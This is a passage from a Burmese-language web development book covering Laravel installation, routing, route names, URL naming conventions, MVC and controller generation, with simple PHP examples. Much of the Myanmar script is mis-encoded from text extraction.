တဲ့  laravel အမည်ရ  Package  ကို  အသံုးgပုမယ်ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။  သူ့ကြေနာက်က  blog
ကကြေတာ့ အသုံးgပုလုိတဲ့ ပကြေရာင်္ဂျက်oုိဒါအမည် goစ်ပါတယ်။ ကြကိုက်တဲ့အမည် ကြေပးလုိရ့ပါတယ်။ ကြေနာက်ဆံုး
က "10.*" ကကြေတာ့ လုိချင်တဲ့  Version  ကို  ကြေgပာလုိက်တာပါ။  Laravel 10  ကို  ရယူကြေပးသွားမှာ goစ်ပါ
တယ်။ 
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ကြေနာက်ဆံုးက Version နံပါတ် "10.*" က မထည့်လည်း ရပါတယ်။ ကိုယ့်စက်ထဲက PHP Version နဲ့ ကိုက်
ညီတဲ့  Latest  အgoစ်ဆံုး  Laravel  Version  ကို  Composer  က အလုိအကြေလျှာက်  ယူကြေပးသွားမှာ  goစ်ပါ
တယ်။ ဒါကြေပမယ့် စာအုပ်မှာကြေoာ်gပမယ့် Version နဲ့ စာoတ်သူလုိက်စမ်းတဲ့  Version မတူရင် တစ်ချ ို ့ကြေနရာ
ကြေတွမှာ အဆင်မကြေgပမှာစိုးလုိ ့တူသွားကြေအာင် တမင် Version နံပါတ် ထည့်ကြေgပာပြပီး ရယူလုိက်တာပါ။

�ှတ်ချက် ။ ။ လက်ရှိ ဒီစာကို တည်းgoတ်ကြေနချနိ်မှာ ထွက်ရှိထားတာက Laravel 10 goစ်ပြပီး Laravel 10 ကို
အသုံးgပုနိုင်oုိ့အတွက် အနည်းဆံုး PHP 8.1 လုိအပ်မှာ goစ်ပါတယ်။ 8.0 နဲဆ့ိုရင်ကြေတာင် မရပါyူး။ 

Composer  က  laravel ကို  Download  ယူကြေပးပြပီးတာနဲ့  တစ်ဆက်တည်း လုိအပ်တဲ့  ဆက်စပ် နည်း
ပညာကြေတွကိုပါ ဆကတ်ိုက် Download ယူကြေပးသွားမှာပါ။ ဒါကြေeကာင့် နည်းနည်းကြေတာ့ အချနိ်ကြေပးပြပီး ကြေစာင့်ရ
နိုင်ပါတယ်။  ပြပီးသွားတဲ့အခါ  blog အမည်နဲ့  ပကြေရာင်္ဂျက်oုိဒါကို  ရမှာgoစ်ပြပီး၊  ပကြေရာင်္ဂျက်oုိဒါထဲက
vendors ထဲမှာ laravel နဲအ့တူ ဆက်စပ်လုိအပ်တဲ့ Package အားလုံး ရှိကြေနမှာ goစ်ပါတယ်။
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Running Laravel Project
ကြေနာက်တစ်ဆင့်အကြေနနဲ့ တည်ကြေဆာက်ထားတဲ့ blog ပကြေရာင်္ဂျက်oုိဒါအတွင်းမှာ Terminal ကိုoွင့်ပြပီး ပကြေရာ
င်္ဂျက်ကို အခုလုိ Run နိုင်ပါတယ်။

php artisan serve

ဒါဆိုရင် ပကြေရာင်္ဂျက်ကို PHP Development Server ရဲ့အကူအညီနဲ့ Run သွားပြပီgoစ်လုိ့ Browser ကိုoွင့်ပြပီး
အခုလုိ ရုိက်ထည့် စမ်းeကည့်လုိရ့ပါတယ်။

- http://localhost:8000

ရလဒ်ကကြေတာ့ အခုလုိgoစ်မှာပါ။

http://localhost:8000/
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ဒီအဆင့်ထိရသွားပြပီဆိုရင် Laravel ကို အသုံးgပုပြပီး ကုဒ်ကြေတွကြေရးသားoုိ့ အသင့်goစ်သွားပါပြပီ။ ဒီစာအုပ်ထဲမှာ
နမူနာပကြေရာင်္ဂျက်အကြေနနဲ့  Article ကြေတွ ကြေရးတင်ပြပီး Comment ကြေတွ ကြေပးလုိရ့တဲ့  Blog System ကြေလးတစ်ခု
ကို တည်ကြေဆာက်သွားeကမှာ goစ်ပါတယ်။ 

Laravel မှာ လုိချင်တဲ့ရလဒ်တစ်ခုရoုိ့ ကြေရးသားနည်း သုံးကြေလးနည်း ရှိတတ်ပါတယ်။ အ့ဲဒါကြေတွအကုန် ထည့်
ကြေgပာကြေနမှာ မဟုတ်y၊ဲ သုံးသင့်တဲ့ တစ်နည်းထဲကိုပဲ ကြေရွးထုတ်ပြပီး ကြေgပာသွားမှာgoစ်ပါတယ်။ အ့ဲဒီလုိ ကြေgပာgပ
တဲ့ တစ်နည်းထဲနဲပဲ့ အရင်ဆံုးပုိင်နိုင်ကြေအာင် ကြေလ့လာလုိက်ပါ။ ကြေနာက်ကြေတာ့မှ တgခားမူကွဲကြေတွ၊ တgခားနည်း
လမ်းကြေတွကို ကြေလ့လာပါ။ အစပုိင်းမှာ အ့ဲဒီလုိ မူကွဲကြေတွကြေeကာင့် သိပ်ပြပီးကြေတာ့ ကြေခါင်းစားမခံပါနဲဥ့ီးလုိ့ ကြေgပာချင်
ပါတယ်။



PWD 2023 – အခန်း (၄၂) – Laravel Routing 657

အခန်း (၄၂) – Laravel Routing

Laravel  ပကြေရာင်္ဂျက်နဲပ့တ်သက်ရင် ပထမဆံုးအကြေနနဲ့ စတင်ကြေလ့လာeကမှာကကြေတာ့  Routing  goစ်ပါတယ်။
Routing ကို gမန်မာလုိ လွယ်လွယ်ကြေgပာရရင် လမ်းကြေeကာင်းဆွဲgခင်း လုိ့ ကြေgပာရမှာပါ။ yယ်လမ်းကိုသွားရင်
yယ်ကြေရာက်မလဲ  သတ်မှတ်ကြေပးတဲ့သကြေyာပါ။  တစ်နည်းအားgoင့်  yယ်  URL  လိပ်စာကို  သွားရင်  yာ
အလုပ်လုပ်ရမလဲ သတ်မှတ်ကြေပးgခင်း goစ်ပါတယ်။ ပကြေရာင်္ဂျက်oုိဒါထဲက /routes/web.php ကို oွင့်ပြပီး
ဒီကုဒ်ကို ကြေရးgoည့်ပြပီး စမ်းeကည့်ပါ (သူ့နင်္ဂိုပါတဲ့ နမူနာကုဒ်ကို ဒီအတိုင်းထားပါ)။

 PHP 

Route::get('/articles', function () {
    return 'Article List';
});

Route::get('/articles/detail', function () {
    return 'Article Detail';
});

Framework နဲအ့တူပါလာတဲ့ get() Route Method ကို အသုံးgပုထားgခင်း goစ်ပါတယ်။ get() လုိမျ ို း
တgခား  Route Method ကြေတွလည်းရှိပါကြေသးတယ်။ ကြေလာကြေလာဆယ် get() နဲ့  post() နှစ်ခုမှတ်ထား
ရင် လံုကြေလာက်ပါပြပီ။ Basic API အခန်းကြေရာက်ကြေတာ့မှ တgခား Method ကြေတွ ထပ်eကည့်ပါဦးမယ်။ နမူနာမှာ
get() Route Method အတွက် Parameter နှစ်ခုကြေပးထားပါတယ်။ ပထမတစ်ခုက URL လိပ်စာgoစ်ပြပီး
ဒုတိယတစ်ခုက လုပ်ရမယ့်အလုပ်  Function  goစ်ပါတယ်။ ဒီနမူနာအရ လိပ်စာက  /articles ဆိုရင်
သတ်မှတ်ထားတဲ့  Function  အလုပ်လုပ်သွားတဲ့အတွက်  Article List  ဆိုတဲ့  စာတစ်ကြေeကာင်းကို  gပန်ရမှာ
goစ်ပါတယ်။ အလားတူပဲ လိပ်စာက /articles/detail ဆိုရင်ကြေတာ့ Article  Detail ဆိုတဲ့ စာတစ်
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ကြေeကာင်းကို gပန်ရမှာပါ။ ဒီလုိပါ - 

သတိပြပုပါ -  ဒီလုိ  စမ်းeကည့်လုိရ့oုိ့အတွက်  php artisan serve နဲ့  ပကြေရာင်္ဂျက်ကို  Run  ထားoုိ့
လုိအပ်ပါတယ်။  ပြပီးကြေတာ့၊  နမူနာ  Screenshot  ကြေတွgပတဲ့အခါ  URL  လိပ်စာနဲ့  ရလဒ်ကို  တဲွတွဲပြပီးကြေတာ့
eကည့်ကြေပးပါ။

မရှိတဲ့လိပ်စာကို ရုိက်ထည့်ပြပီး စမ်းeကည့်လုိလ့ည်း ရပါတယ်။ ဥပမာ ဒီလုိရုိက်ထည့်ပြပီး စမ်းeကည့်ပါ -

- http://localhost:8000/something

ရလဒ်ကအကြေနနဲ ့404 Not Found ကို ကြေတွ့gမင်ရမှာ goစ်ပါတယ်။

http://localhost:8000/something
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Laravel  မှာ  Route  လုိမျ ို း  လုိအပ်တဲ့အချနိ်မှာ  အလွယ်ယူသံုးလုိရ့တဲ့  Class  ကြေတွ အများကြကီး  ရိှပါတယ်။
Facade Pattern လုိ့ကြေခါ်တဲ့ OOP Design Pattern တစ်ခုကို သံုးပြပီးကြေရးထားတဲ့ Class ကြေတွပါ။ သိပ်ကြေခါင်း
စားမခံပါနဲ။့  အကြေခါ်အကြေဝါ်ကြေလာက်ပဲ မှတ်ထားပြပီ  ကြေနာက်မှ ဆက်ကြေလ့လာပါ။ ကြေလာကြေလာဆယ် အသင့်သံုး
လုိရ့တဲ့  Facade Class  ကြေတွ ရှိတယ်ဆိုတာကြေလာက် မှတ်ထားရင် ရပါတယ်။  Source Code  ထဲမှာ သွား
eကည့်ချင်ရင်  /vendor/laravel/framework/src/illuminate/Support/Facade ဆို
တဲ့  Path  လမ်းကြေeကာင်းနဲ့ oုိဒါတစ်ခု ရှိပါတယ်။ အ့ဲဒီထဲမှာ အသင့်သံုးလုိရ့တဲ့  Facade Class  ကြေတွ ရှိကြေနပါ
တယ်။ 

ဒါကြေပမယ့် ကြေစာကြေစာက နမူနာမှာ Route::get() လုိ့ကြေရးခဲ့ကြေပမယ့် Route.php ကုဒ်oုိင်ကို oွင့်eကည့်
ရင်  get() Method  ကို  ကြေတွ့ရမှာ  မဟုတ်ပါyူး။  get() Method  တစ်ကယ်မရှိyဲနဲ့  သုံးလုိရ့ကြေအာင်
Laravel  က  PHP  ရဲ့  __callStatic() Magic  Method  ကို  သုံးထားပါတယ်။ အ့ဲဒါကြေeကာင့်  ကြေခါင်း
စားစရာကြေတွလုိ့ ကြေgပာတာပါ။
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Dynamic Routes
Routing အကြေeကာင်း ဆက်ပါမယ်။ Route လုိ့ကြေgပာရင် Static Route နဲ့ Dynamic Route ဆိုပြပီး နှစ်မျ ို းရှိပါ
တယ်။  Static  Route  ဆိုတာကကြေတာ့  ပုံကြေသ  သတ်မှတ်ထားတဲ့  လမ်းကြေeကာင်းပါ။  Dynamic  Route
ကကြေတာ့ ပါလာတဲ့ Route Parameter ကြေပါ်မူတည်ပြပီး ကြေgပာင်းလဲနိုင်တဲ့ လမ်းကြေeကာင်းပါ။ Dynamic Route
တစ်ခုနမူနာကို စမ်းeကည့်နိုင်oုိ ့ဒီကုဒ်ကို /routes/web.php ထဲမှာ ထပ်goည့်ကြေရးပါ။

 PHP 

Route::get('/articles/detail/{id}', function ( $id ) {

    return "Article Detail - $id";

});

သတိgပုစရာ  (၃)  ချက်ရှိပါတယ်။  ပထမတစ်ချက်က  လိပ်စာမှာပါတဲ့  {id} goစ်ပါတယ်။  Laravel  မှာ
Route Parameter ကို ဒီလုိကြေပးရပါတယ်။ အဓိပ္ပါယ်က {id} ဟာ အရှင်goစ်ပြပီး မိမိနှစ်သက်ရာတန်oုိးကို
{id} ကြေနရာမှာ ကြေပးလုိရ့တယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ဥပမာ - /articles/detail/123 ဆိုတဲ့ လိပ်စာ
ဟာ  ဒီသတ်မှတ်ချက်နဲ့  ကိုက်ညီသလုိ  /articles/detail/abc ဆိုတဲ့လိပ်စာ  ဟာလည်း  ဒီ
သတ်မှတ်ချက်နဲ ့ကိုက်ညီပါတယ်။

ဒုတိယတစ်ချက်ကကြေတာ့ Function Parameter goစ်တဲ့  $id ပါ။  URL လိပ်စာရဲ့  {id} အgoစ်ကြေပးလုိက်
တဲ့  တန်oုိးကို  Function  ရဲ့  $id အgoစ်  Laravel  က လက်ခံ  အသံုးgပုကြေပးသွားမှာပါ။  တတိယအချက်
ကကြေတာ့ PHP အကြေgခခံကို ကြေမ့သွားမှာစိုးလုိသ့ာ ထည့်ကြေgပာတာပါ။ PHP မှာ String   အတွင်း   Variable   ကြေတွ  
တစ်ခါ တည်း ထည့်သွင်း အသံုးgပုလုိရင်   Double Quote   ကို အသံုးgပုရတယ်   ဆိုတဲ့ အချက်ပါ။ ဒါကြေeကာင့်
return Statement အတွက် ကြေပးလုိက်တဲ့ String ကို Double Quote နဲ ့ကြေရးထားတာပါ။

ဒါကြေeကာင့် လိပ်စာက /articles/detail/123 ဆိုရင် gပန်ရမှာက Article Detail - 123
goစ်ပါတယ်။  /articles/detail/abc ဆိုရင်ကြေတာ့ gပန်ရမှာက  Article  Detail - abc
goစ်ပါတယ်။ စမ်းeကည့်နိုင်ပါ။ ဒီနည်းနဲ့ Laravel မှာ Dynamic Route ကြေတွ သတ်မှတ် အသုံးgပုရပါတယ်။
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Route Names
Routing နဲပ့တ်သက်ပြပီး ကြေနာက်ထပ်တစ်ခုအကြေနနဲ့ ထည့်သွင်းမှတ်သားသင့်တာကကြေတာ့ Route Name goစ်
ပါတယ်။ သတ်မှတ်ထားတဲ့ Route ကြေတွကို အမည်ကြေပးထားgခင်းအားgoင့် ကြေနာင်လုိအပ်တဲ့အခါ အလွယ်တစ်
ကူ gပန်လည်အသံုးgပုနိုင်မှာ goစ်ပါတယ်။ ဥပမာ -

 PHP 

Route::get('/articles/more', function() {
    return redirect('/articles/detail');
});

ဒီကုဒ်ရဲ့အဓိပ္ပါယ်က  URL  လိပ်စာ  /articles/more goစ်ခဲ့မယ်ဆိုရင်  redirect() Helper
Function  ရဲ့  အကူအညီနဲ့  /articles/detail ကိုသွားခိုင်းလုိက်တာ goစ်ပါတယ်။  /articles/
detail ကို အခုလုိ အမည်ကြေပးထားနိုင်ပါတယ်။

 PHP 

Route::get('/articles/detail', function () {
    return 'Article Detail';
})->name('article.detail');

ကြေနာက်ဆံုးမှာ  name() Method  နဲ့  article.detail လုိ့  အမည်ကြေပးလုိက်တာပါ။ တစ်ကယ်ကြေတာ့
အမည်က ကြကိုက်သလုိ  ကြေပးလုိရ့ပါတယ်။  တိုတိုတတု်တုတ်ပဲ  ကြေပးချင်လည်းရပါတယ်။  ဒါကြေပမယ့်  Route
Name ကြေတွ များလာရင် တစ်ခုနဲတ့စ်ခုကြေရာပြပီး မှတ်ရခက်ကုန်မှာစိုးလုိ့ အကြေလ့အကျင့်ကြေကာင်းတစ်ခု အကြေနနဲ့
အခုကတည်းက gပည့်gပည့်စံုစံု ကြေပးထားတာပါ။ အခုလုိ အမည်ကြေပးထားပြပီးပြပီgoစ်လုိ ဒီ Route ကိုလုိအပ်လုိ့
gပန်သုံးချင်ရင်  ကြေပးထားတဲ့  အမည်နဲ့  သံုးလုိရ့ပါပြပီ။  ဥပမာ  -  ကြေစာကြေစာက  /articles/more Route
လုပ်ကြေဆာင် ချက်ကို အခုလုိ gပင်လုိက်ပါမယ်။

 PHP 

Route::get('/articles/more', function() {
    return redirect()->route('article.detail');
});
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အလုပ်လုပ်ပံုက  အတတူူပါပဲ။  /articles/more ကိုသွားလုိက်ရင်  Redirect  လုပ်ထားတဲ့အတွက်
/articles/detail ကိုပဲ  ကြေရာက်သွားမှာပါ။  ဒါကြေပမယ့်  URL  လိပ်စာကို  မသံုးကြေတာ့yဲ  ကြေပးထားတဲ့
Route Name ကို သုံးပြပီး အလုပ်လုပ်လုိက်တာပါ။

ဆက်ကြေgပာမယ်ဆိုရင်  Resource  Route  တို့  View  Route  တို့  Route  Group  တို့  ကျန်ပါကြေသးတယ်။
Resource Route အကြေeကာင်းကိုကြေတာ့ Basic API အခန်းကျမှ ဆက်eကည့်ပါမယ်။

URL Pattern
URL လိပ်စာကြေတွ သတ်မှတ်တဲ့အခါ ကြကိုက်တဲ့ပုံစံနဲ့ ကြကိုက်သလုိကြေပးလုိရ့ပါတယ်။ ဒါကြေပမယ့် ကြေပးလုိရ့တယ်
ဆိုတိုင် စွတ်ကြေပးလုိ့ မgoစ်ပါyူး။ များလာတဲ့အခါ ကိုယ်ကြေပးထားတဲ့ URL ကို ကိုယ်မမှတ်မိကြေတာ့yဲ ရှုပ်ကုန်
ပါလိမ့်မယ်။  URL  လိပ်စာကြေတွကြေပးတဲ့အခါ လုိက်နာသင့်တဲ့  အချက်ကြေလးကြေတွ  ရှိပါတယ်။ လုိရင်းအနှစ်ချုပ်
အကြေနနဲ့ ဒီ Pattern ကြေလး (၂) ခုကို မှတ်ထားကြေပးပါ။

• /resource/action/id
• /resource/action/id/sub-resource/sub-action

စာလုံးအကြေသးကြေတွချည်းပဲ  သံုးတယ်ဆိုတဲ့အချက်ကကြေန  စမှတ်ပါ။  လုိအပ်ရင်  Dash  ကို  သုံးနိုင်ပါတယ်။
Underscore  ကို မသံုးသင့်ပါyူး။  camelCase ကြေတွ မသံုးသင့်ပါyူး။ ကြေရှ့ဆံုးက အချက်အလက် အမျ ို း
အစား (Resource) နဲ့ စသင့်ပါတယ်။ Plural Case (အများကိန်း) goစ်သင့်ပါတယ်။ ဥပမာ - articles,
users, students, customers, products စသgoင့် ကြေဆာင်ရွက်လုိတဲ့ လုပ်ငန်းအမျ ို းအစား
goစ်ပါတယ်  (Noun  လုိလ့ည်း  ဆိုနိုင်ပါတယ်)။  သူ့ကြေနာက်က အလုပ်အမျ ို းအစား  (Action)  လုိက်သင့်ပါ
တယ်။ ဥပမာ - add, update, delete, view, detail စသgoင့် goစ်ပါတယ် (Verb လုိလ့ည်း
ဆိုနိုင်ပါတယ်)။ ကြေနာက်ဆံုးကကြေန Unique Identifier (id) လုိက်ရမှာပါ။ ဒီ Pattern အတိုင်း URL လိပ်စာ
အချ ို ့ကို နမူနာကြေoာ်gပလုိက်ပါတယ်။

• /users
• /products/view/{id}
• /customers/update/{id}
• /students/add
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Sub Route ပါဝင်တဲ့ နမူနာတစ်ချ ို ့ကိုလည်း ကြေoာ်gပကြေပးလုိက်ပါတယ်။

• /users/detail/{id}/photos
• /products/view/{id}/comments/add
• /students/show/{id}/marks

အတတ်နိုင်ဆံုး ဒီ Pattern ကြေyာင်ထဲမှာပဲ URL လိပ်စာကြေတွကို သတ်မှတ်ကြေပးပါ။ ဒီ Pattern ကြေyာင်ထဲမှာ
ဝင်oုိခ့က်တဲ့  ရှုပ်ကြေထွးတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  ရိှလာခဲ့ရင်ကြေတာင်  ကြကိုးစားပြပီး  ရကြေအာင်သတ်မှတ်ကြေပးပါ။
အပုိထပ်ကြေဆာင်းလုိအပ်တဲ့  အချက်အလက်ကြေတွကို  URL  Query  အကြေနနဲ့  goည့်ကြေပးနိုင်ပါတယ်။  ဥပမာ  -
ရန်ကုန်တိုင်းမှာရှိတဲ့ ကြေကျာင်းသူစာရင်းကို လုိချင်တယ်ဆိုeကပါစို။့ Resource (Noun) က students ပါ။
Action (Verb) က list (သုိ့) all goစ်နိုင်ပါတယ်။ တစ်ကယ်ကြေတာ့ list တို့  all တိုက့ို  Default လုိ့
သကြေyာထားပြပီး မကြေပးတာ ပုိကြေကာင်းပါတယ်။ ID ကကြေတာ့ ဒီကြေနရာမှာ မလုိအပ်ပါyူး။ လုိချင်တဲ့ ရလဒ်မှာ
ပါဝင်တဲ့  ရန်ကုန်တိုင်း  တို့  ကြေကျာင်းသူတိုက့ yာကြေတွလဲ။  Resource  လား၊  Action  လား၊  ID  လား၊  Sub-
Route လား။ တစ်ခုမှ မဟုတ်ပါyူး။ ဒါကြေeကာင့် ဒီလုိမျ ို း မကြေပးသင့်ပါyူး။

• /students/list/yangon/female

URL ကြေလးက သုံးချင်စရာကြေလးပါ။ ဒါကြေပမယ့် Pattern ကြေyာင် မဝင်ကြေတာ့ပါyူး။ ကြေနာက်အလားတူ ကိစ္စမှာ
ကြေရှ့ကြေနာက်မညီရင် ရှုပ်ကုန်ပါကြေတာ့မယ်။ ဥပမာ -

• /customers/all/male/yangon

ကြေရှ့ကြေနာက်အစီအစဉ်ကြေတွ  Consistence  မgoစ်ကြေတာ့ပါyူး။  အသုံးအနှုန်းကြေတွ  Consistence  မgoစ်ကြေတာ့ပါ
yူး။  Route  ကြေတွများလာတဲ့အခါ  စီမံရခက်ကုန်ပါလိမ့်မယ်။  ဒါကြေeကာင့်  /resource/action/id
ကြေyာင်ထဲကကြေနသာ တူညီစွာကြေပးပါ။ လက်ကြေတွ့လုိအပ်တဲ့အခါ URL Query ကြေတွကို သုံးနိုင်ပါတယ်။ ဥပမာ

• /students?location=ygn&sex=female

ဒါဟာ မgoစ်မကြေနလုိက်နာရမယ့် ပံုကြေသနည်းကြေတာ့ မဟုတ်ပါyူး။ ဒါကြေပမယ့် လုိက်နာမယ်ဆိုရင် အကျ ို းရှိတဲ့
URL Pattern Convention goစ်ပါတယ်။
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အခန်း (၄၃) – MVC – Model – View - Controller

Laravel  ဟာ  MVC Framework  တစ်ခုgoစ်တဲ့အတွက် ကြေရှ့ ဆက်မသွားခင်  Model – View – Controller
(MVC)  အကြေeကာင်းကို eကားgoတ်ကြေလ့လာoုိ့ လုိအပ်ပါတယ်။  MVC ဟာ ကကြေနက့ြေခတ်မှာ  Web Application
Framework  တိုင်းက စံထားပြပီးသံုးကြေနeကတဲ့  Structure Pattern  goစ်ပါတယ်။ oတ်ရှုနားလည်ရလွယ်ကူ
ပြပီး  gပုgပင်ထိမ်းသိမ်းရလည်း  လွယ်ကူတဲ့ကုဒ်ကြေတွ  ကြေရးသားoုိအ့တွက်  အကြေရးပါတဲ့  နည်းစနစ်တစ်ခုပါ။  ဒါ
ကြေeကာင့် ဒီအကြေeကာင်းက ချဲ့ရင်ချဲ့သကြေလာက် ရပါတယ်။ ဒီကြေနရာမှာကြေတာ့ ထုံးစံအတိုင်း  ရှည်ရှည်းကြေဝးကြေဝး
ကြေတွကို ကြေgပာမကြေနကြေတာ့yဲ လုိရင်းကိုပဲ ကြေgပာမှာ goစ်ပါတယ်။

MVC  ရဲ့  M  ဟာ  Model  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  Model  ဆိုတာ  Data Model  ကို  ဆိုလုိပါတယ်။ ဒါကြေeကာင့်
Model  ဆိုတာ  Data  ကြေတွ  စီမံခန့်ခွဲgခင်းလုပ်ငန်းလုိ့  ဆိုနိုင်ပါတယ်။  MVC  ရဲ့  V  ကကြေတာ့  View  ဆိုတဲ့
အဓိပ္ပါယ်ပါ။  User  Interface  လုိလ့ည်း  ဆိုနိုင်ပါတယ်။  MVC  ရဲ့  အဓိကလုိရင်းကကြေတာ့ ကုဒ်ကြေတွကြေရးတဲ့
အခါမှာ Data   စီမံတဲ့ကုဒ်   (Model)   နဲ့   UI   စီမံတဲ့ကုဒ်   (View)   ကို သီးgခားစီ ခွဲgခားပြပီးကြေရးသားရgခင်း   ပဲ goစ်ပါ
တယ်။  ဒါကြေeကာင့်  MVC  နဲ့  ပတ်သက်ရင်  ဒီသတ်မှတ်ချက်က  eကပ်eကပ်မတ်မတ်လုိက်နာကြေပးရမယ့်
သတ်မှတ်ချက် goစ်ပါတယ်။ Model ကုဒ်နဲ ့View ကုဒ်ကို yယ်ကြေတာ့မှ ကြေရာမကြေရးပါနဲ။့

MVC ရဲ့ C ကကြေတာ့ Controller ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ သူ့ရဲ့လုပ်ငန်းကကြေတာ့ User Input နဲ့  Output ကြေတွကို
စီမံတဲ့လုပ်ငန်းgoစ်ပါတယ်။  Web Application  တစ်ခုမှာ  User Input  ကြေတဟွာ  Request  အကြေနနဲလ့ာပြပီး
Output ကြေတွကို  Response အကြေနနဲ့ gပန်ထုတ်ကြေပးရပါတယ်။ ဒါကြေeကာင့် တစ်နည်းအားgoင့်  Controller   ဆို  
တာ   Request   နဲ့   Response   ကြေတွကို စီမံတဲ့လုပ်ငန်း   လုိ့ ဆိုနိုင်ပါတယ်။
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ဒါဟာ MVC အနှစ်ချုပ်ပါပဲ။ ကုဒ်ကြေတွကြေရးတဲ့အခါ ဒီအပုိင်း (၃) ပုိင်းကို သီးgခားစီခွဲgခားပြပီး ကြေရးသားရမှာ goစ်
ပါတယ်။  yယ်လုိခွဲရမှာလည်းဆိုတာကို  ကြေခါင်းစားစရာမလုိပါyူး။  သကြေyာသyာဝ  သိထားရင်  ရပါပြပီ။
ကိုယ်တိုင်အကြေသးစိတ် လုိက်စီမံစရာ မလုိပါyူး။  Laravel  က ကုဒ်ကြေတွကြေရးတဲ့အခါ  MVC Pattern  နဲက့ိုက်
ညီကြေအာင် ကြေရးသားနိုင်oုိအ့တွက် ထည့်သွင်း စီစဉ်ကြေပးထားပြပီးgoစ်ပါတယ်။ ကိုယ့်yက်က သကြေyာသyာဝ
ကို သိထားပြပီးပြပီဆိုရင် ကုဒ်ကြေရးတာကကြေတာ့ Framework က စီစဉ်ကြေပးထားတဲ့အတိုင်း ကြေရးယံုပါပဲ။

MVC Pattern ကို အသုံးgပုကြေရးသားထားတဲ့ ကုဒ်ရဲ့ User Input (Request) ကို စတင်လက်ခံတဲ့ အဆင့်က
ကြေန ကြေနာက်ဆံုး Output (Response) ကို User ထံgပန်ကြေပးတဲ့အဆင့်ထိ သွားကြေလ့ရှိတဲ့ Workflow ကို ပုံကြေလး
နဲလ့ည်း ကြေoာ်gပကြေပးလုိက်ပါတယ်။
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ဒီပုံဟာ မူလပထမ Professional Web Developer  လုိ့ကြေခါ်တဲ့ ကျွန်ကြေတာ်ရဲ့စာအုပ်မှာ အသံုးgပုထားတဲ့ ပံု
goစ်ပါတယ်။ မျှားကြေလးကြေတွမှာ နံပါတ်စဉ်တပ်ကြေပးထားလုိ့ အစီအစဉ်အတိုင်း eကည့်သွားပါ။ 

MVC Pattern နဲ့ ကြေရးထားတဲ့ ကုဒ်ရဲ့ အလုပ်လု််ပပံုအဆင့်ဆင့်ကို ပံုမှာgပထားတဲ့အတိုင်း ကြေသချာနားလည်
ကြေအာင် eကည့်ပြပီး ကြေခါင်းထဲမှာ စွဲကြေနကြေအာင် မှတ်ထားoုိ့  လုိပါတယ်။ ဒီကြေတာ့မှ ကိုယ်ကြေရးတဲ့  ကုဒ်ရဲ့  အလုပ်
လုပ်ပုံအဆင့်ဆင့်ကို ဆက်စပ်ပြပီး gမင်နိုင်စွမ်း ရှိမှာgoစ်ပါတယ်။
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အခန်း (၄၄) – Laravel Controller

ပြပီးခဲ့အခန်းမှာ Controller  ရဲ့အလုပ်က Request, Response ကြေတွစီမံoုိလုိ့့ ကြေgပာခဲ့ပါတယ်။ Request ကြေတွ
စီမံတယ်ဆိုတာ -

1. User ကြေပးပုိတ့ဲ့ Request Data ကြေတွကို၊ လက်ခံမယ်၊ စီစစ်မယ်၊ 
2. ပြပီးရင် Model တို့ View တိုန့ဲ့ ဆက်သွယ်ပြပီး လုပ်စရာရှိတာလုပ်မယ်၊ 
3. ပြပီးတဲ့အခါ ကြေနာက်ဆံုးရလဒ်ကို User ကို Response အကြေနနဲ ့gပန်ကြေပးမယ်၊

- ဆိုတဲ့ အလုပ်ပါ။ ဒီကြေနရာမှာ လုပ်စရာရှိတာကို Model တို့  View တိုန့ဲ့ ဆက်သွယ်ပြပီး လုပ်တယ်ဆိုတာကို
သတိgပုပါ။ သူကိုယ်တိုင် မလုပ်ပါyူး။ သူ့အလုပ်၊ သူ့တာဝန်က Request ကိုလက်ခံပြပီး Response ကို gပန်
ကြေပးoုိသ့ာ goစ်ပါတယ်။

Controller  ကုဒ်ကြေတွ  စတင်ကြေရးသားစမ်းသပ်နိုင်oုိအ့တွက်  Controller  oုိင်  တည်ကြေဆာက်ကြေပးရပါမယ်။
Laravel  မှာ ဒီလုိ  လုိအပ်တဲ့  ကုဒ်oုိင်ကြေတွကို  တည်ကြေဆာက်ကြေပးနိုင်တဲ့  Code Generator  အသင့် ပါဝင်ပါ
တယ်။  ဒါကြေeကာင့်  Controller  oုိင်တည်ကြေဆာက်တဲ့အလုပ်ကို  ကိုယ့်yာသာ လုပ်စရာ မလုိပါyူး။  ပကြေရာ
င်္ဂျက် oုိဒါထဲမှာ ဒီ Command ကို Run ကြေပးပြပီး Controller oုိင်တစ်ခု တည်ကြေဆာက်နိုင်ပါတယ်။

php artisan make:controller ArticleController

artisan ဆိုတာ Laravel Framework နဲ့အတူပါဝင်လာတဲ့ ပကြေရာင်္ဂျက်ကို စီမံနိုင်တဲ့ နည်းပညာပါ။ အ့ဲဒီ
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artisan ရဲ့အကူအညီနဲ့  make:controller, make:model စသgoင့်  လုိအပ်တဲ့  ကုဒ်oုိင်ကြေတွ
တည်ကြေဆာက်နိုင်ပါတယ်။  ကြေပးထားတဲ့နမူနာမှာ  make:controller ကိုသုံးပြပီး  Controller  oုိင်
တည်ကြေဆာက်ထားပါတယ်။ ကြေနာက်ဆံုးက  ArticleController ဆိုတာကကြေတာ့  Controller Class
ရဲ့အမည်ပါ။  Class  Name  goစ်တဲ့အတွက်  CapitalCase နဲ့ကြေပးရပြပီး  နမူနာမှာကြေပးထားသလုိ
___Controller ဆိုတဲ့  Suffix  နဲ့  အဆုံးသတ်ကြေပးသင့်ပါတယ်။ ဥပမာ -  ArticleController,
CommentController, CategoryController စသgoင့်ပါ။

ဒီ  Command  ကို  Run  လုိက်တာနဲ့  ArticleController.php ဆိုတဲ့အမည်နဲ့  oုိင်တစ်ခု
/app/Http/Controllers oုိဒါထဲမှာ  တည်ကြေဆာက်ကြေပးသွားပါလိမ့်မယ်။  အထဲမှာလည်း  အခုလုိ
ကုဒ်ကြေတွ တစ်ခါထဲ ပါဝင်လာပါလိမ့်မယ်။

 PHP 

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ArticleController extends Controller
{
    //
}

ထိပ်ဆံုးမှာ  namespace ကြေeကညာချက်ကိုသတိထားeကည့်ရင်  အခန်း  (၂)  မှာ  ကြေgပာခဲ့သလုိ  oုိဒါ  Path
လမ်းကြေeကာင်းအတိုင်း Namespace ကို ကြေပးထားတာကို ကြေတွ့ရနိုင်ပါတယ်။

Controller  ရဲ့တာဝန်ဟာ  Request/Response  ကြေတွတာဝန်ယူoုိလုိ့့  ခဏခဏ  ကြေgပာgoစ်ပါတယ်။  User
